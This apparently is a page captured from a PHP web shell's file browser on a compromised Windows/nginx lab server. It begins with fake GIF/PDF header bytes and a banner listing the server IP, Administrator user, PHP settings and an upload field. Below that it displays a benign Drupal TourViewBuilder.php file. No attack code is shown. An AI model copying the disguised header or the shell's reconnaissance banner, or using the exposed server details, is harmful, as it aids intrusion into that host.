GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Student/JimMartinson/Lab12/drupal/core/modules/tour/src/ |
Upload File : |
<?php namespace Drupal\tour; use Drupal\Core\Entity\EntityViewBuilder; use Drupal\Component\Utility\Html; /** * Provides a Tour view builder. */ class TourViewBuilder extends EntityViewBuilder { /** * {@inheritdoc} */ public function viewMultiple(array $entities = [], $view_mode = 'full', $langcode = NULL) { /** @var \Drupal\tour\TourInterface[] $entities */ $build = []; foreach ($entities as $entity_id => $entity) { $tips = $entity->getTips(); $count = count($tips); $list_items = []; foreach ($tips as $index => $tip) { if ($output = $tip->getOutput()) { $attributes = [ 'class' => [ 'tip-module-' . Html::cleanCssIdentifier($entity->getModule()), 'tip-type-' . Html::cleanCssIdentifier($tip->getPluginId()), 'tip-' . Html::cleanCssIdentifier($tip->id()), ], ]; $list_items[] = [ 'output' => $output, 'counter' => [ '#type' => 'container', '#attributes' => [ 'class' => [ 'tour-progress', ], ], '#children' => t('@tour_item of @total', ['@tour_item' => $index + 1, '@total' => $count]), ], '#wrapper_attributes' => $tip->getAttributes() + $attributes, ]; } } // If there is at least one tour item, build the tour. if ($list_items) { end($list_items); $key = key($list_items); $list_items[$key]['#wrapper_attributes']['data-text'] = t('End tour'); $build[$entity_id] = [ '#theme' => 'item_list', '#items' => $list_items, '#list_type' => 'ol', '#attributes' => [ 'id' => 'tour', 'class' => [ 'hidden', ], ], '#cache' => [ 'tags' => $entity->getCacheTags(), ], ]; } } // If at least one tour was built, attach the tour library. if ($build) { $build['#attached']['library'][] = 'tour/tour'; } return $build; } }